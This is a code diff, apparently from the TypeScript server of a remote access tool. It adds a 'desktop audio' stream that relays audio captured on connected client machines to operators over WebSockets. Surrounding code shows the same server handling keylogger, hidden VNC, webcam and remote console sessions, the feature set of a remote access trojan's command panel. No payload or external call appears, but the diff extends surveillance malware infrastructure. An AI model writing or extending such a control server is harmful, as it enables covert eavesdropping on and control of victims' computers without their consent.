if (role === "voice_viewer") return deps.handleVoiceViewerOpen(ws);
if (role === "desktop_audio_viewer") return deps.handleDesktopAudioViewerOpen(ws);
if (role === "notifications_viewer") return deps.handleNotificationViewerOpen(ws);
if (role === "chat_viewer") return deps.handleChatViewerOpen(ws);
@@ -204,6 +209,7 @@ export async function handleWebSocketMessage(
if (socketRole === "process_viewer") return deps.handleProcessViewerMessage(ws, message);
if (socketRole === "keylogger_viewer") return deps.handleKeyloggerViewerMessage(ws, message);
if (socketRole === "voice_viewer") return deps.handleVoiceViewerMessage(ws, message);
if (socketRole === "desktop_audio_viewer") return deps.handleDesktopAudioViewerMessage(ws, message);
if (socketRole === "notifications_viewer") return;
if (socketRole === "dashboard_viewer") return;
if (socketRole === "chat_viewer") return deps.handleChatViewerMessage(ws, message);
@@ -578,6 +584,9 @@ export async function handleWebSocketMessage(
case "voice_uplink":
deps.handleVoiceUplink(client.id, payload);
break;
case "desktop_audio_uplink":
deps.handleDesktopAudioUplink(client.id, payload);
break;
case "webcam_devices":
deps.handleWebcamDevices(client.id, payload);
break;
@@ -736,6 +745,11 @@ export function handleWebSocketClose(
return;
}
if (role === "desktop_audio_viewer") {
deps.cleanupDesktopAudioViewer(ws);
return;
}
if (role === "notifications_viewer") {
if (sessionId) {
sessionManager.deleteNotificationSession(sessionId);
@@ -247,6 +247,26 @@ export async function handleWsUpgradeRoutes(
return new Response("Upgrade failed", { status: 500 });
}
const desktopAudioMatch = url.pathname.match(/^\/api\/clients\/(.+)\/desktop-audio\/ws$/);
if (desktopAudioMatch) {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const clientId = desktopAudioMatch[1];
const denied = checkOperatorAccess(user, clientId, "voice");
if (denied) return denied;
const ip = server.requestIP(req)?.address || "";
if (server.upgrade(req, { data: { role: "desktop_audio_viewer", clientId, ip, userRole: user.role, userId: user.userId } })) {
return new Response();
}
return new Response("Upgrade failed", { status: 500 });
}
if (req.method === "GET" && url.pathname === "/api/notifications/ws") {
const user = await authenticateRequest(req);
if (!user) {
@@ -0,0 +1,117 @@
import type { ServerWebSocket } from "bun";
import { v4 as uuidv4 } from "uuid";
import * as clientManager from "../clientManager";
import { encodeMessage } from "../protocol";
import * as sessionManager from "../sessions/sessionManager";
import type { DesktopAudioViewer, SocketData } from "../sessions/types";
import { canUserAccessClient } from "../users";
function sendDesktopAudioCommand(
clientId: string,
commandType: "desktop_audio_start" | "desktop_audio_stop",
payload: Record<string, unknown>,
) {
const target = clientManager.getClient(clientId);
if (!target) return false;
try {
target.ws.send(
encodeMessage({
type: "command",
commandType: commandType as any,
id: uuidv4(),
payload,
}),
);
return true;
} catch {
return false;
}
}
function safeJson(ws: ServerWebSocket<SocketData>, payload: Record<string, unknown>) {
try {
ws.send(JSON.stringify(payload));
} catch {
}
}
export function handleDesktopAudioViewerOpen(ws: ServerWebSocket<SocketData>) {
const { clientId, userId, userRole } = ws.data;
if (userId !== undefined && userRole && !canUserAccessClient(userId, userRole as any, clientId)) {
ws.close(1008, "Forbidden: client access denied");
return;
}
const sessionId = uuidv4();
ws.data.sessionId = sessionId;
const target = clientManager.getClient(clientId);
const session: DesktopAudioViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
sessionManager.addDesktopAudioSession(session);
safeJson(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
if (!target) {
safeJson(ws, { type: "status", status: "offline", reason: "Client is offline" });
return;
}
safeJson(ws, { type: "status", status: "ready" });
}
export function handleDesktopAudioViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
const { clientId } = ws.data;
if (typeof raw === "string") {
try {
const message = JSON.parse(raw);
if (message?.type === "start") {
const source = typeof message?.source === "string" ? message.source : "system";
const started = sendDesktopAudioCommand(clientId, "desktop_audio_start", {
source,
sessionId: ws.data.sessionId,
});
safeJson(ws, { type: "status", status: started ? "connected" : "error" });
return;
}
if (message?.type === "stop") {
sendDesktopAudioCommand(clientId, "desktop_audio_stop", {});
safeJson(ws, { type: "status", status: "disconnected" });
}
} catch {
}
return;
}
}
export function handleDesktopAudioUplink(clientId: string, payload: any) {
const sessionId = typeof payload?.sessionId === "string" ? payload.sessionId : "";
const bytes = payload?.data instanceof Uint8Array
? payload.data
: payload?.data instanceof ArrayBuffer
? new Uint8Array(payload.data)
: ArrayBuffer.isView(payload?.data)
? new Uint8Array(payload.data.buffer)
: null;
if (!bytes || bytes.byteLength === 0) return;
for (const session of sessionManager.getDesktopAudioSessionsByClient(clientId)) {
if (sessionId && session.id !== sessionId) continue;
try {
session.viewer.send(bytes);
} catch {
}
}
}
export function cleanupDesktopAudioViewer(ws: ServerWebSocket<SocketData>) {
let removedClientId = ws.data.clientId;
for (const [sid, session] of sessionManager.getAllDesktopAudioSessions().entries()) {
if (session.viewer === ws) {
removedClientId = session.clientId;
sessionManager.deleteDesktopAudioSession(sid);
break;
}
}
const hasViewers = sessionManager.getDesktopAudioSessionsByClient(removedClientId).length > 0;
if (!hasViewers) {
sendDesktopAudioCommand(removedClientId, "desktop_audio_stop", {});
}
}
@@ -5,6 +5,7 @@ import type {
FileBrowserViewer,
ProcessViewer,
VoiceViewer,
DesktopAudioViewer,
NotificationsViewer,
KeyloggerViewer,
ChatViewer,
@@ -36,6 +37,8 @@ const keyloggerSessions = new Map<string, KeyloggerViewer>();
const keyloggerSessionsByClient = new Map<string, Set<string>>();
const voiceSessions = new Map<string, VoiceViewer>();
const voiceSessionsByClient = new Map<string, Set<string>>();
const desktopAudioSessions = new Map<string, DesktopAudioViewer>();
const desktopAudioSessionsByClient = new Map<string, Set<string>>();
const dashboardSessions = new Map<string, DashboardViewer>();
const chatSessions = new Map<string, ChatViewer>();
@@ -440,6 +443,34 @@ export function getAllVoiceSessions(): Map<string, VoiceViewer> {
return voiceSessions;
}
export function addDesktopAudioSession(session: DesktopAudioViewer): void {
desktopAudioSessions.set(session.id, session);
addSessionToClientIndex(desktopAudioSessionsByClient, session.clientId, session.id);
}
export function deleteDesktopAudioSession(sessionId: string): boolean {
const existing = desktopAudioSessions.get(sessionId);
if (!existing) return false;
desktopAudioSessions.delete(sessionId);
removeSessionFromClientIndex(desktopAudioSessionsByClient, existing.clientId, sessionId);
return true;
}
export function getDesktopAudioSessionsByClient(clientId: string): DesktopAudioViewer[] {
const ids = desktopAudioSessionsByClient.get(clientId);
if (!ids || ids.size === 0) return [];
const sessions: DesktopAudioViewer[] = [];
for (const id of ids) {
const session = desktopAudioSessions.get(id);
if (session) sessions.push(session);
}
return sessions;
}
export function getAllDesktopAudioSessions(): Map<string, DesktopAudioViewer> {
return desktopAudioSessions;
}
export function addDashboardSession(session: DashboardViewer): void {
dashboardSessions.set(session.id, session);
}
+8
View File
@@ -11,6 +11,7 @@ export type SocketRole =
| "notifications_viewer"
| "keylogger_viewer"
| "voice_viewer"
| "desktop_audio_viewer"
| "dashboard_viewer"
| "chat_viewer";
@@ -79,6 +80,13 @@ export type VoiceViewer = {
createdAt: number;
};
export type DesktopAudioViewer = {
id: string;
clientId: string;
viewer: ServerWebSocket<SocketData>;
createdAt: number;
};
export type ChatViewer = {
id: string;
viewer: ServerWebSocket<SocketData>;
+2 -1
View File
@@ -1,4 +1,4 @@
export type SocketRole = "client" | "viewer" | "console_viewer" | "rd_viewer" | "webcam_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "voice_viewer" | "notifications_viewer";
export type SocketRole = "client" | "viewer" | "console_viewer" | "rd_viewer" | "webcam_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "voice_viewer" | "desktop_audio_viewer" | "notifications_viewer";
const textEncoder = new TextEncoder();
@@ -26,6 +26,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
"keylog_clear_result",
"keylog_delete_result",
"voice_uplink",
"desktop_audio_uplink",
"webcam_devices",
"hvnc_clone_progress",
"hvnc_lookup_result",